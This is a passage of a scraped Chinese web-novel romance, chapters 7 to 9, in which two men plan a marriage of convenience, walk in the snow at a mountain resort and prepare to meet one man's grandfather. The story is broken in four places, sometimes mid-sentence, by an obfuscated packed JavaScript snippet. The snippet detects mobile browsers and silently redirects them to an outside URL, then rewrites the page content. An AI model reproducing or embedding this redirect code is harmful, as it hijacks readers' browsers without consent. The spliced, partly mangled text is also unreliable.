;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345435|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人竟然没有恼羞成怒实在离谱,他隐约有种不好预感,却为时已晚。 “上回你说的投资酒庄的事,我考虑了下。”桓柏蘅很是遗憾的给出回答,“不太合适。” “...” “至于你托我从法国庄园带回来的那支停产的据说风味极佳你垂涎半年已久的霞多丽,估计也是给不了你了。”桓柏蘅慢悠悠开口,颇有风度,“毕竟我是要结婚的人,得拿去讨好学长啊,改天我就包装起来,当做彩礼一并送了。” “....” 桓柏蘅这边的沟通结束,薄淞那边从沉默开了头。 林序淮先是发来一个问号,等薄淞回应后直接打来电话,第一句就是“你要跟桓柏蘅结婚了?” 他觉得离谱,十分离谱,以及不赞成,也抵不过现实,电话里薄淞的声音传来。 “是。” 然后是长达三四分钟的沉默。 林序淮才说,“你没救了。” 薄淞垂下眼,久久不语,其实知道刚才桓柏蘅的话,便意味着公开,可从好友口中听到,以这么失望地口气,他竟然很过分的仍然觉得欢喜,因为更真实了。 他们要结婚,是公开的关系。 可知道林序淮气他,薄淞选择沉默,希望他的不争气别把林序淮气的更狠。 “他为什么突然跟你结婚?”薄淞是打算直接过去这事,可林序淮当然不肯,追问道。 薄淞一五一十说了,相亲的事。 “所以你觉得他一开始就是想和你结婚?“林序淮头发昏,厉声道,“你别蠢了。” “...没这么觉得。”薄淞轻声答,却更恼人。 “薄淞,我有时候觉得你脑子是不是有问题,他都说的那么明白,不可能对你有感情,你非要这么上赶着吗?”林序淮受不了,可也知道是骂不醒薄淞的,只是他没想到当初一语成谶,薄淞还真能吊死在桓柏蘅这棵树上。 就那一副皮囊吗? 薄淞一副任他骂的模样,反倒是林序淮骂不出来,越发觉得烦躁。 他和薄淞认识将近十年,比谁都了解薄淞骨子里的偏执,不然也不会这么多年还对一个不可能有回应的人死心塌地,而薄淞性格温和,他从没见过薄淞发脾气,对朋友都是如此,更何况是心上人。 他都能想象到要是两人结婚,薄淞能多纵容对方,要是桓柏蘅再恶劣点... “他不是你想的那样,我们是正常结婚,他不会再...找别人。” 薄淞知道林序淮担心什么,解释道,桓柏蘅不会喜欢他,可他们之间会有该有的尊重,不是各玩各的,这点他和桓柏蘅有沟通过,不是林序淮想的那样。 而对他而言,留在桓柏蘅身边,哪怕桓柏蘅不会经常在家,偶尔可以吃饭见面,已经很满足。 林序淮从开始就知道改变不了薄淞的决定,可真要什么都不说他能憋死,虽然说完更是气的头晕目眩,连旁边的人递至跟前的酒都来不及思考,仰头灌下去,连带着心底不敢言说的隐晦酸楚发泄出来。 “随便你,你是个情圣,你了不起,结呗,请帖不用发我,谢谢。” “...” 7. 第7章 林序淮是个嘴硬心软的人,薄淞知道,话放得再狠,也不会真的不祝福他。 可失望也是真的。 薄淞心里有愧疚,对于让关心自己的朋友难受,可偏偏躺在床上,闭眼脑中又全是桓柏蘅的脸,今天是这么多年里他少有的能够长时间且近距离接触桓柏蘅的机会,他好像这么多年都没有今天看桓柏蘅更加仔细。 薄淞止不住想,后来竟也慢慢睡过去,温泉水该是有效用,久违的一夜无梦,睁眼时身心轻松。 他盯着天花板放空了会,才听见敲门响声,起身整了整睡衣,以最快的速度确保得体,去开了门,门外桓柏蘅插兜站着,冷淡的唇角勾起点公式化的微笑,却在中途止住,随后扬起的笑容真诚几分。 “昨天夜里下了大雪,堆得挺厚,要不要出去走走?” 桓柏蘅是来邀约的,薄淞往外头看去,二层走道尽头,窗外远山果真白茫一片。 他们运气挺好,赶上一场新雪。 薄淞自然答应,只是他需要点时间收拾洗漱,桓柏蘅体贴的在他开口前知悉需求,“半小时可以吗?我点个早午餐,吃完去。” “谢谢。” 薄淞关上门,想着桓柏蘅说的早午餐的事,回到床头找手机,手机关机了,难怪闹铃没响。 他实在太粗心。 薄淞赶紧充上电,竟然快十二点了。 他这觉当真是睡得沉,也不知道桓柏蘅等他多久,薄淞几分懊恼,赶紧进卫生间洗漱,想着尽量快些收拾,让桓柏蘅不要再干等他,却在抬眼望见洗漱镜前的自己时,愣住。 镜子里的人领口平整没错,扣子扣到最顶,不像是刚从睡梦醒来的凌乱...但前提是排除脑袋上边一缕黑发天线似的直直立着。 薄淞长久无言地望着自己不忍直视的凌乱头发,捂住脸。 难怪他觉得刚才桓柏蘅笑的奇怪,他这到底是睡得多熟,能把自己睡成这样啊?红晕从手心遮掩的地方溢出来,蔓延至脖颈。 出发前的用餐全程,薄淞都有点难以直视桓柏蘅,尤其对方眼神时不时有意无意扫过他头顶,于是一顿饭结束,他迫不及待起身,先出门等。 走出暖气房子那一刻,冷风刺骨。 一场大雪,山里气温骤降。 薄淞好在今天穿的厚,还带了围巾,微微瑟缩后也慢慢适应冷热温差。 山庄里布局极佳,当初建设便请了国内有名的园林设计师,每一处藏着精巧心思,行外人品不细致,可也能直观感受到冬日山林该有的萧瑟这里是半分没有,偏那种清冷氛围萦绕着,而昨夜一场降雪,更衬得红梅娇艳倔强,冷香萦绕。 “走吧。” 身后传来声音,薄淞收回远处眺望的目光,点了点头。- - 两人从梅园绕去后门,路上比昨日多了些赏雪的人,谈笑言语热闹不少,于是不可避免再次碰上些相熟的朋友,这回“认识”桓柏蘅的人就多了,对着两人就是一通恭喜。 桓柏蘅全程脸上洋溢笑容,自然不过地应答,薄淞往他方向看了几次,再遇见熟人时,也应了对方的恭喜。 他恍惚的错觉,像是和桓柏蘅是新婚来度假的小两口。 “左边。” 耳边响起声音拉回薄淞思绪,主道上人多,而桓柏蘅所示的方向是偏僻小道,薄淞随人过去,转两个弯,就到了连着后山的入口,一扇不起眼的木门。 “这里出去快,人也少。” 桓柏蘅的耐心在遇见好几拨贺喜的人后消失殆尽,这会只想着耳根子清净。 “你对这里好像很熟?”两人从小门出去,薄淞问。 桓柏蘅跨过崎岖不平的路面,“有地图。” 郑云松给了份内部地图,很详细,包括在修建施工的地方都有标记。 而地图显示,后山两条道,一条主道,一条就是他们走的小路,终点分别是露天温泉,滑雪场以及他们此行目的地,听雪亭。 比起另外两个冬季里受欢迎项目,听雪亭显得冷清许多,基本少有人前往,他们走的小路就更见不着人影,密林植被种类多,有冬季叶子未落的,上头覆着层层白雪,也有枯干的枝丫,围出的小片天空没了夏季的蓝调,透着隐隐的铅灰,云层很厚。 薄淞是在面颊落上一片湿凉时抬头,瞳眸映出飞舞雪籽。 下雪了。 “啧。” 前方一声轻啧伴随着枯木枝叶的响动拉回薄淞注意力,他低头看去,微怔。 桓柏蘅此刻模样有些糟糕,头发肩上落着雪,右手还保持着拨开拦路枝条的动作,他们走的小道越深越是狭窄,杂草冬日里仍旧生长茂盛,横七竖八枝条绕出来。 桓柏蘅就是弯腰挑开树枝,结果“牵一发动全身”,顶上的雪团就这么直直砸下来,滋味真不好受。 他倾斜身子要拍雪,先一步耳边闯进担心话语。 “砸到哪了吗?” 冬季的雪团并不全然松软,也有结成块的,高处砸下来多多少少力道不轻。 桓柏蘅拂雪的动作止住,抬眸瞧见薄淞拧着眉,温和的人做这样的表情也不显得严厉,全然是认真担心意味。 “没。”桓柏蘅道,“就是弄进衣服里了。” 所以冰的很。 他话音落下,后颈覆上温热,未来及被体温融化的大团白雪被薄淞抖出来,落在地面,融进厚实的雪堆里,桓柏蘅顺着落雪的弧度看去,然后视线停在面前人一半陷进雪地的鞋子上。 桓薄蘅意识到他忽略了一件事,那就是他穿的是高帮的防水靴,而薄淞的只是普通的休闲鞋,雪水渗透进去,浅色的鞋子早已晕开湿润痕迹。 “抱歉。” 响起的嗓音略带慌乱,随之脖颈后的温热离开,薄淞后退一步,唇角抿着。 短暂的几次接触,桓柏蘅发现,薄淞不自然时常有这样的动作,抿着唇角,眼神躲闪,所以这次为了什么? “这也要抱歉?”桓柏蘅思考几秒,再次意识到他对薄淞的很多认识似乎都过于片面了,这人脸皮太薄,“学长,只是拍个雪而已,男人的脖子也不是敏感的地方吧?” 他忍不住言语调侃,又想,难不成薄淞少年时期没有过和朋友肢体接触,勾着肩亲密无间? 有的,桓柏蘅心里回答。 脑中莫名闪现尘封一幕,是一个下雨天,冬天。 荣市冬季格外湿冷,因此没课的周末,校园里几乎看不见人影,他从篮球馆出来,和郑云松去教师食堂,因为郑云松那天想吃食堂的的薯饼,每周只有两天对学生开放。 食堂右边延伸向上的小道,是通往大操场的石阶,石阶上撑开的绿色花伞显眼夺目,伞下两人紧挨着并肩。 雨声太大,听不见传来的话语,桓柏蘅也只是随意一瞥,可收回的视线却在右侧眉眼漂亮的男生一把拽过左侧撑伞男生脖颈间绕着的围巾时止住。 湖蓝色的围巾,桓柏蘅记得清楚,因为那么一条正常大小的围巾系在两个男生的脖子上,于是他们贴的更加靠近,脸颊都几乎碰上,而撑伞男生...薄淞被那蓝衬的毫无瑕疵白净的面容上浮现的,是无奈又纵容的笑。 伞下的身影亲密无间。 同此刻面前的人仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345436|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为同他不小心的碰触而不自然的尴尬形成鲜明对比...因为并不亲近。 他们本来就不是多熟。 “你不介意就好。”薄淞慢半拍反应过来,这确实不是亲密行为,正常朋友间都可以有的互帮互助而已,他和桓柏蘅现在算是朋友了,他确实很多时候对于桓柏蘅的态度过于谨慎,因此也不正常。 如果继续这样的话,会被看出端倪吧。 “学长。” 桓柏蘅忽然笑起来。 薄淞被他突然的笑晃了眼,心跳开始加速,“怎么了?” 面前的人眼尾垂下,声音听起来几分可怜,甚至于都在抽着气。 “好冷啊。”桓柏蘅裹紧了衣领,眨了眨眼,“你的围巾可以借我吗?” “...” - 亭子在小坡上,越往后路越是不好走,天上的雪飘得更大。 总算他们艰难中抵达了听雪亭。 它地处一处山崖边,往下十多米是冬日里不怎么活跃的山泉,雪花纷纷扬扬,落在亭边环绕的叶木上,有沙沙雪声,眺望而去,白雪覆盖的世界犹如仙境。 这处确实适合听雪赏雪。 只是高处的风也嚣张不少,肆虐过两人。 雪太大了这会,两人本就淋了些,这会化开在头发肩侧,风吹过更是湿冷,可这会回去不说半分风景没赏到,再者顶着这么大风雪,怕是更加狼狈,只得强撑着在这亭中,等风雪平静。 可十多分钟,雪下的越发厚重,悠悠扬扬没半点停歇意思,云层压的更低,预示着这是一场持久的风雪。 亭子无处可坐,早已被昨日大雪打湿,便只能背风站着。 “这回得我说抱歉了吧?”桓柏蘅瞧着两人满身狼狈,眯了眯眼,“你就应该拒绝我,这会也不至于在这挨冻。” 薄淞唇色冻得发白,风直往领口灌,加上鞋子渗水,脚冻得快没有知觉,可听见桓柏蘅的话,愣了会,摇头,“人生有这样的体验,我觉得很难得,而且这里真的很漂亮。” 这话不是违心,和桓柏蘅一起赏雪听风,很美好。 他是真诚的,话也说得好听,可桓柏蘅不乐意听,原本还存着点看好戏的心情,这会也消散得半点不剩,他没回应,甚至于唇角都懒得敷衍勾起,挪开视线落在断崖处飞舞密集的雪花。 风声呜咽,经久不散。 半天薄淞也不知道他这样的反应代表什么意思,还是对他仍觉得愧疚?沉默持续了七八分钟,在薄淞开口想说点什么打破安静时,幽幽的低沉嗓音听不出情绪响起在亭子里。 “你这个人..对谁都这样吗?” 薄淞的温和其实是有距离感的,可这种距离感不影响相处中他的付出,亏可以自己吃,话和行为总会为对方多想一份,哪怕心里其实并不把这个人划分到亲密的界限来。 所以他在薄淞心里,是划分哪一块区域? “还你。”桓柏蘅解下围巾,没来由觉得无趣,他不喜欢老好人,给谁的都一样,虚浮而假情,再者他也不需要在对方心中,被划分至亲密位置。 薄淞眼睫颤了下,想拒绝,颈间忽然一热,围巾还带着桓柏蘅残留下的体温和味道,环绕而上。 是温暖的。 可在他抬眼,目光触到桓柏蘅转回的冷淡侧脸上,却又觉得,并不是那么温暖。 “走吧。”桓柏蘅语气淡淡,望向亭子下边,“人来了。” 不远处风雪中是来了人。 薄淞慢半拍动作裹紧围巾,嗓音被吹得嘶哑,桓柏蘅的味道散的太快了,他应声道,“好。” 8. 第8章 雪下的太大,桓柏蘅联系了工作人员,送了伞和厚实外套。 他们没有原路返回,十多分钟走回观光车停靠的小道上,最后坐车回去,到别墅时,冻僵的身体得以暖和,工作人员准备了祛风寒的姜汤。 姜汤味浓,薄淞喝下去,桓柏蘅已经往楼梯口去。 “桓薄蘅。”他下意识喊,在另一碗姜汤几乎一碰未碰的情况下,看向望过来的人,犹豫道,“姜汤驱寒,还是喝点吧。” 两人山里冻了好一阵,他现在都觉得有些头昏,桓柏蘅估计也没好到哪去,再者对方看起来好像还没他扛冻的模样,不预防下是真的会生病,而生病的滋味不好受。 薄淞不希望他生病,虽然桓柏蘅似乎有点不太高兴,从刚才就是了,这会盯着他,半天也没动作。 沉默蔓延开。 薄淞以为他肯定是要被拒绝,面前的人却径直走来,到他跟前停下。 桌上小半碗姜汤被端起,一口灌下去,桓柏蘅眉眼都是嫌弃,他受不了这味道,舌尖残余辛辣也令他不适,就从没喝过这么难喝的玩意。 薄淞惊讶于桓柏蘅竟然喝了,虽然好像比起刚才更不高兴,他试图想说点什么宽慰的话,手腕很突然的被攥紧。 桓柏蘅拉过他,往前拽,“喝好了,去洗澡。” 薄淞摸不透桓柏蘅的心思,一开始就是。 对方的情绪明明直接,所以他确定在听雪亭里以及回来一路,桓柏蘅的不悦,可这会负面情绪又像是凭空消失? 桓柏蘅推他至门边,松开手,薄淞指尖蜷缩,几分茫然望向面前的人。 “雪一时半会停不了,现在下山不安全,可以晚一些,山庄的司机送我们下去。” 桓柏蘅说,又忽然俯身。 两人身高相差不多,所以桓柏蘅此刻动作只是拉近两人距离,近到薄淞看不太清桓柏蘅模样,而凑近的呼吸让他大脑几分眩晕,听人问,“你着急吗?” 热气喷洒在薄淞脸上,被刻意放低的声音突兀的钻进薄淞大脑,他不自然的脚步往后退,后脑勺碰上门框“咚”地一声,传来的轻微痛感让薄淞瞬间清醒。 紧接着桓柏蘅的笑声传来,压着的,不好笑的太夸张的那种。 他直起身子,心情像是完全明媚了,继续刚才的话,“想问你着不着急回去,不急的话,我们再留一晚。 薄淞偏过的头便把颈侧耳后毫无保留暴露在桓柏蘅眼底,是真白,因此攀爬上的红晕越发艳丽,脖颈修长,喉结微微凸起,滚动... “好。”薄淞说,又补一句,“不着急。” 桓柏蘅手插进兜里,盯着那抹绽开的红霞。 他刚才有瞬间的想法,如果掐上那脖子,会不会得到一双盈盈泪眼...眼尾大概也会发红,若是这张脸上再露出点愉悦至极的表情? 温雅矜持的人,放纵浪荡到媚眼如丝该是什么模样? - 既然决定多留一晚,自然免不了单独相处。 薄淞这次平复心境的时间比先前久了许多,他不傻,一次桓柏蘅的亲近可以说是无意,可两次三次,那些亲密举动便刻意无疑,他不知道桓柏蘅这么做的目的,也在他预期之外。 既然只是结婚不谈感情,这些暧昧又是为了什么? 或许不是暧昧?薄淞对此其实也觉得混沌,他没谈过恋爱,不懂,只知道所有有关桓柏蘅的肢体接触都让他心跳加速,他觉得多少桓柏蘅有所察觉,可也想清楚,无需那么不安。 暗恋多年这种事,只要他不说,桓柏蘅是不会知道的,可以归咎于性格问题,这让薄淞坦然许多。 窗外的雪还在下,天气预报显示到傍晚,房间里温暖惬意,薄淞拉开纱帘,在桌前坐下,他出来是带了工作笔记本的,多年养成的习惯,也是派上用场。 - 薄淞处理公事到晚餐的点,风雪已经停了。 微信上桓柏蘅发来消息,他合起电脑下楼。 餐桌前桓柏蘅坐着,浅金丝边的睡衣,领口敞开的大小正好露出锁骨,锁骨两侧凹陷,往下隐隐的是胸前的薄肌,撑起质感舒适的家居服料子,桌底下双膝微微交叠,慵懒而性感模样。 桓柏蘅听见脚步声,抬眸,薄淞视线前一秒错开,到餐桌前落座,和人面对着面。 两人吃过的饭很少,如此居家的环境更是第一次,薄淞想着起个话题,然后可以进入用餐环节,张合的唇瓣却在眼前摊开的手心时止住,抿唇,对视。 “怎么了?”他问。 “眼镜。”桓柏蘅一副感兴趣模样,“我试试?” 薄淞轻微有些近视,连着看许多文件就会有重影,带个眼镜会好很多,这会才记起来忘取下来,他正要取下来,面前的手却收了回去。 “介意?”桓柏蘅说,“我对朋友随意惯了,抱歉啊。” “不是。”薄淞立刻答,他只是没反应过来。 薄淞取下眼镜,递过去,桓柏蘅却不肯戴了,在他又一次解释并表明不介意,对方才终于伸手。 镜片度数不高,桓柏蘅戴上去也没不适感,框架架在高挺的鼻梁上,闪着冰冷的银光,衬的桓柏蘅五官更加精致。 “没你好看。” 薄淞挪不开眼,陷进桓柏蘅“新造型”里,却听人猝不及防说了这么句。 桓柏蘅关了前置摄像,指尖拎起一边支架,起身。 眼镜重新被架上薄淞鼻梁。 桓柏蘅细细端详面前人的眉眼,直至薄淞眼底的错愕褪去,眼睫在镜片后又开始不自然的轻颤,他发现,薄淞除了脸皮薄外,似乎不会拒绝,就像很多次其实完全可以推开他的手,然后冷硬的摆脸色。 要是薄淞这样的话,他也不至于总想试探对方底线到底在哪,碰一下就害羞脸颊发红的话,要是碰更多呢? 桓柏蘅默默叹口气,对于薄淞的反差觉得以后在他这少不了吃亏,他可不是什么分寸绅士的人?对方退一步那他肯定是要进一步的。 “过两天有空的话,跟我回家见见爷爷吧,他老人家想见你。” 桓柏蘅把眼镜还回去,看面前的人带着耳后未退的红,怔愣望来,说着之后安排,“房子的事,越澜和天阙湾离你公司近,你想住哪?或是别的地段你有喜欢的也可以。” “...” 结婚以后,是要同居的。 桓柏蘅想一次性把该说的该解决的处理好,“还有你父母那边,我需要见见吧?婚礼的时间还是有点赶的,策划那边一会我发你联系方式,喜欢什么样的婚礼风格可以和他沟通,你觉得呢?” 筹办婚礼不是轻松的事,要上心的很多,薄淞知道,桓柏蘅说的这些是要提早准备,可一桩桩一件件...他不真实感太强烈,以至于又觉得,会不会有变数? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345437|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还是先见见你爷爷吧。”薄淞嗓音发涩,“我爸妈那边没什么问题,都行。” 如果桓柏蘅爷爷不满意他的话,应该就结不了婚,薄淞少有的,对于一件事反反复复的不安,甚至于每一步都觉得能出点纰漏。 “行,那下周五?” 薄淞点了点头,“好。” - 两人是要结婚的关系,可归根究底,并不太熟悉,没有很多话题可聊。 饭后,就各自回了房。 薄淞不回去,远程处理的工作也多,接着下午的继续,将近十点,才算是告一段落。 饭后雪下下停停又一阵,风还是很大,刮得梅树颤动。 他披好外套下楼,客厅没人。 薄淞径直去了后院,门开,凌冽的风钻进来,屋子隔音效果极佳,这会他才能感受到风有多大,吹皱一池温泉水。 绕过池子,薄淞折了一枝开得最盛的梅花,它早已被风雪打的潮湿,却愈发的生机盎然,只是离开枝头,终归是会枯萎了,他觉得几分可惜,可还是抵不过想要带回去留作纪念的打算。 特殊的两天一夜。 薄淞把花朵护进怀里,仰头,二楼桓柏蘅的房间是暗的,或许是睡了,也或许窗帘太过厚实所以什么都看不见。 他还是执着的望了许久,到眼睛发涩,发疼,迎面又一阵风雪打来,湿了肩头,才离开。 - 山庄回来后,薄淞回了趟家。 薄家父母老早就听闻消息,等薄淞告诉他们要结婚后,既是高兴心情也有些许复杂。 “桓家那孩子这些年一直在国外,也没怎么见过,不过老爷子带出来的,品性肯定是没问题的。” 桓家地位声望在那,薄淞和桓柏蘅结婚,自然不会是薄淞吃亏,薄爸爸对此当然也是满意,唯独一点。 “儿子...”薄妈妈犹豫道,“你们是打算不要孩子了?” 父母都是想抱孙子的,薄家父母也不例外,况且他们也并不是需要靠和桓家的联姻获得利益,所以其实这婚也不是一定要结,哪怕当初薄爸爸给了桓柏蘅面子,换来两个孩子相亲见面。 “嗯 ,不要了。”薄淞说,他看出父母的犹豫,直接道,”爸,妈,我决定好了。” 薄淞话语从来是有份量,决定的事也代表深思熟虑,薄家父母没法再持反对意见,儿孙自有儿孙福,再者,他们对桓柏蘅也是满意的,事情算是定下。 两人也提出见一见桓柏蘅的事。 “等我先见过他爷爷吧。” 薄淞却是犹豫着道。 他觉得这事其实也不算完全定下,因为桓柏蘅说再多,该是也抵不过老爷子对他不满意,见家长那一关,是考验,如果老爷子觉得他不合适... 薄淞一颗心再次悬紧。 那婚姻就都不作数了。 他不敢再想,越想,越觉得心口发紧。 桓柏蘅的婚姻自然不会是儿戏,怎么可能单凭桓柏蘅一个人决定?他还差最后一关,这婚才能结的成,可他能做些什么,获得老爷子的认可呢? 薄淞想不到,也就有些不安。 ..................................................................................... 9. 第9章 航空公司发来短信提醒,薄淞才记起忘记取消出国机票的事。 他点进app,取消时指尖顿了下。 今天是去拜访桓老爷子的日子,可他心里没底。 从山庄分别后,将近一周时间,他和桓柏蘅没有联系,薄淞算是习惯,短短的接触,他能感觉到桓柏蘅是个很怕麻烦的人,所以非必要情况下,对方不联系他很正常,毕竟该聊完的事项那天其实已经聊得很清楚。 以至于最后条聊天记录截止于山庄回来那天,桓柏蘅可以说是公式化的一条消息,询问他是否到家,确认他到达后,便像销声匿迹一般从未出现过。 哦,当然,确切地说,昨晚桓柏蘅打来了电话,寥寥数语,提醒他今天“见家长”的事。 薄淞哪会忘,他记得比桓柏蘅都要清楚,也难免紧张,他特意早些上床休息,却还是失了眠,最后睁眼到半夜,才堪堪睡去。 一大早醒来,恍惚着意识到他的精神状态估计不太好。 薄淞咽下最后口早餐,默默叹了口气,往卧室去。 衣柜挂着熨烫妥帖的他前两天新购置的西服,当时他在店里试过,看着年轻精神。他比桓柏蘅大三岁,年龄在这了,穿的小一些或许能和对方尽量般配些? 当时薄淞是这么想的,可这会换上,望着镜子里的人,又有几分犹豫。 会不会不太稳重? 西服做的不是中规中矩的款,衣长一高一低,中间连接处也不是大众款的笔直,而是倾斜设计,两肩垫高了些,添了些金线亮片缀着,使得整体给人第一感是有些浮夸奢华的。 不像是见长辈,倒像是去走红毯? 薄淞此刻心里后悔感极其强烈,他刚想换一身旧的,手机弹出视频窗,他心里一跳,桓柏蘅打了视频过来。 薄淞下意识点了接通,镜头出现一张帅气的脸。 桓柏蘅撑着下巴,像是在桌前,撩起眼皮扫过来。 “早。”懒洋洋的招呼。 桓柏蘅实在是困,昨天过来就被老爷子留下,说是怕他第二天迟到,强留也就罢了,一大早还把他喊醒,逼他收拾捣腾,床上这会还放着老爷子精心准备的衣服,其实他对此十分不解,泡温泉那会一块住什么模样不都看过? 再者,就算不收拾也不至于见不得人?他自信任何时候都和“不修边幅”搭不上边。 只可惜他的自信没什么用,被当做歪理邪说通通打了回去,衣服得换人得收拾,甚至于早餐用到一半被赶上楼打这么个电话询问薄淞口味,他才只好拨了视频,薄淞接通的速度在他意料之外,而此刻镜头里的人也让他颇觉着点新鲜。 “早。”薄淞的回应显得几分不自然,从再次抿着的唇角看出来,桓柏蘅觉得好笑,于是笑了出来。 他的笑声几分莫名,起码对于薄淞来说,索性直接问了,“有事吗?” 见面的时间约的是中午,桓柏蘅不大可能这么早给他打电话,如果不是必要的话。 桓柏蘅点头,“有啊。” 在薄淞意料之中,只是对方接着问他对于食物的喜好时,他稍稍有些怔愣。 “爷爷问的,他想好好招待你。”桓柏蘅解释了一句。 薄淞一直以为这次见面是对他的考核审视,可似乎并不是这样?他不敢多想,“都可以,不用麻烦。” 上门做客,哪能挑剔。 他的配合却让桓柏蘅不太满意。 “你随便说一个,我好交差。” 他怕爷爷等会又该说他没好好问,或者干脆怀疑他没打电话,他简直都没地喊冤。 薄淞只好随口胡编了个爱吃的。 “行,那挂了。” “好。” 薄淞等着桓柏蘅挂断视频,镜头那端的人起身,桓柏蘅拿起手机,屏幕靠近... “你今天..”凑近的那张脸让薄淞一时间心跳加速,乱了拍的心跳声中他听见桓柏蘅话语稍顿,尾音挑起,“这身衣服还不错。” “...” - 桓老爷子提前交代过的原因,薄淞没被门卫拦下,畅通无阻进了小区。 别墅区依山而建,每栋之间隔着足够的隐私距离,他顺着导航开了七八分钟,到了桓家所在的老宅。 院门口桓柏蘅等着,薄淞摇下车窗。 “停地下车库吧。”桓柏蘅开了侧边的门,示意人进去。 地下车库很大,停着的车辆却不多,都是老爷子平常会坐的商务代步车,唯一一辆风格年轻些的迈巴赫该是桓柏蘅的,薄淞停下车子在迈巴赫边上,整体打量一番车身。 眼前这辆车应该是被改装过,单看外观就有多处细节变动,是市面上不曾有的,据他对桓柏蘅极其少有的所知,桓柏蘅喜欢车,也有很多车,而他印象最深是曾经林序淮带着羡慕嫉妒一遍遍念的,桓柏蘅所有的一辆高达数亿的限量版跑车。 薄淞对车并没多大兴趣,一辆宾利开了多年没换,实在对这方面陌生,他原本打算观察桓柏蘅喜欢什么样的车,可眼前就这么孤零零的一辆,极少参考价值。 不过其实也正常,桓柏蘅有自己的房产,车子不停放在这情理之中,只是多少难为他了。 如果婚事能成,他总得给桓柏蘅送点礼物,投其所好是最好的。 薄淞停好车,决定暂时先不想,怕桓柏蘅久等。 他顺着原路回去,桓柏蘅在等他,见他出来,视线上下逡巡。 “...走吗?” 面前人上下打量的目光很直接,丝毫不藏着掖着,薄淞指尖蜷紧,他想起桓柏蘅视频里说的。 桓柏蘅那么说,他自然没换掉衣服,可镜头里和现实看着可能是不一样的,他怕穿的浮夸了。 “嗯。”桓柏蘅却没多作评价,像是那一番打量只是心血来潮不带原因,他问,“手里什么?” 薄淞低头看了眼,回答,“给老爷子的。” 他第一次上门,总得送点礼物才不失礼仪,桓柏蘅了然一笑,领人进去。 前院巨大的喷泉池,石子路铺设至别墅正门,左右两侧园里种着不少花卉。 薄淞紧张的情绪在靠近房子时越发强烈,毕竟是见家长,他在桓柏蘅身后深深呼吸,试图放松下来,只一口气没吐匀。 “我没有吗?”桓柏蘅忽然回头,说道,在薄淞没反应过来间隙瞥过他手里的东西,表达的更直白了些,“你就只讨好我爷爷,我没礼物吗?” “...” “好吧,那...” “有的。” 桓柏蘅佯装失望的叹气,薄淞心被悬紧,脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345438|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口而出。 于是桓柏蘅是真的意外了,“什么?”他问。 薄淞不是敷衍,是真的准备了,可要不要送,他其实是犹豫的。 “是个小礼物,如果我们...结婚的话,会再送你的。” 他给桓柏蘅准备了礼物,甚至于是先一步桓老爷子的,只是礼物不那么正式,过于私人,就像定做的西装一样,临了他怕不合时宜其实是打算不送的,不过好在是带在身上。 桓柏蘅眯了眯眼,原本只想逗趣人结果倒真是有意外收获,只是他什么都没准备啊。 “等会。” 花园里冬季也有花朵争艳,老宅雇的园丁照顾二十多年花花草草,罕见的花卉也能养的极好,角落盛放着两株百年山茶,红的肆意明媚,粉的安静温雅,薄淞第一眼扫过花园,就被两株花卉吸引目光。 而这会他看桓柏蘅径直走到山茶跟前,抬手...折断了被精心打理修剪过的花枝。 桓柏蘅不懂花束搭配,凭感觉迅速各折了几只,红粉在手中绽放,又弯腰折了一株草藤的蔓,简单两下把山茶底下捆着,做成再”纯天然”不过的花束,才转身出花园。 薄淞看人拿着花一步步走来,既有对这么美丽的山茶被折腾了的可惜,又有或许桓柏蘅是送他的期待。 刚才桓柏蘅说的,他有回礼的。 “送你,回礼。”桓柏蘅递过去,丝毫没有这”礼物”过于即性的不好意思。 薄淞也不需要他不好意思,因为他该是世界上最不介意的人 ,反而有些无所适从,送花的意义无非那么几种,哪怕桓柏蘅不带有那方面的意思,可花朵本身,便已经足够欣喜。 “谢谢。”他接过花束,望着红粉相间的花朵,轻声且由衷表示,“我很喜欢。” 长在枝朵上再漂亮,也不及桓柏蘅亲手送的,让他心动珍惜。 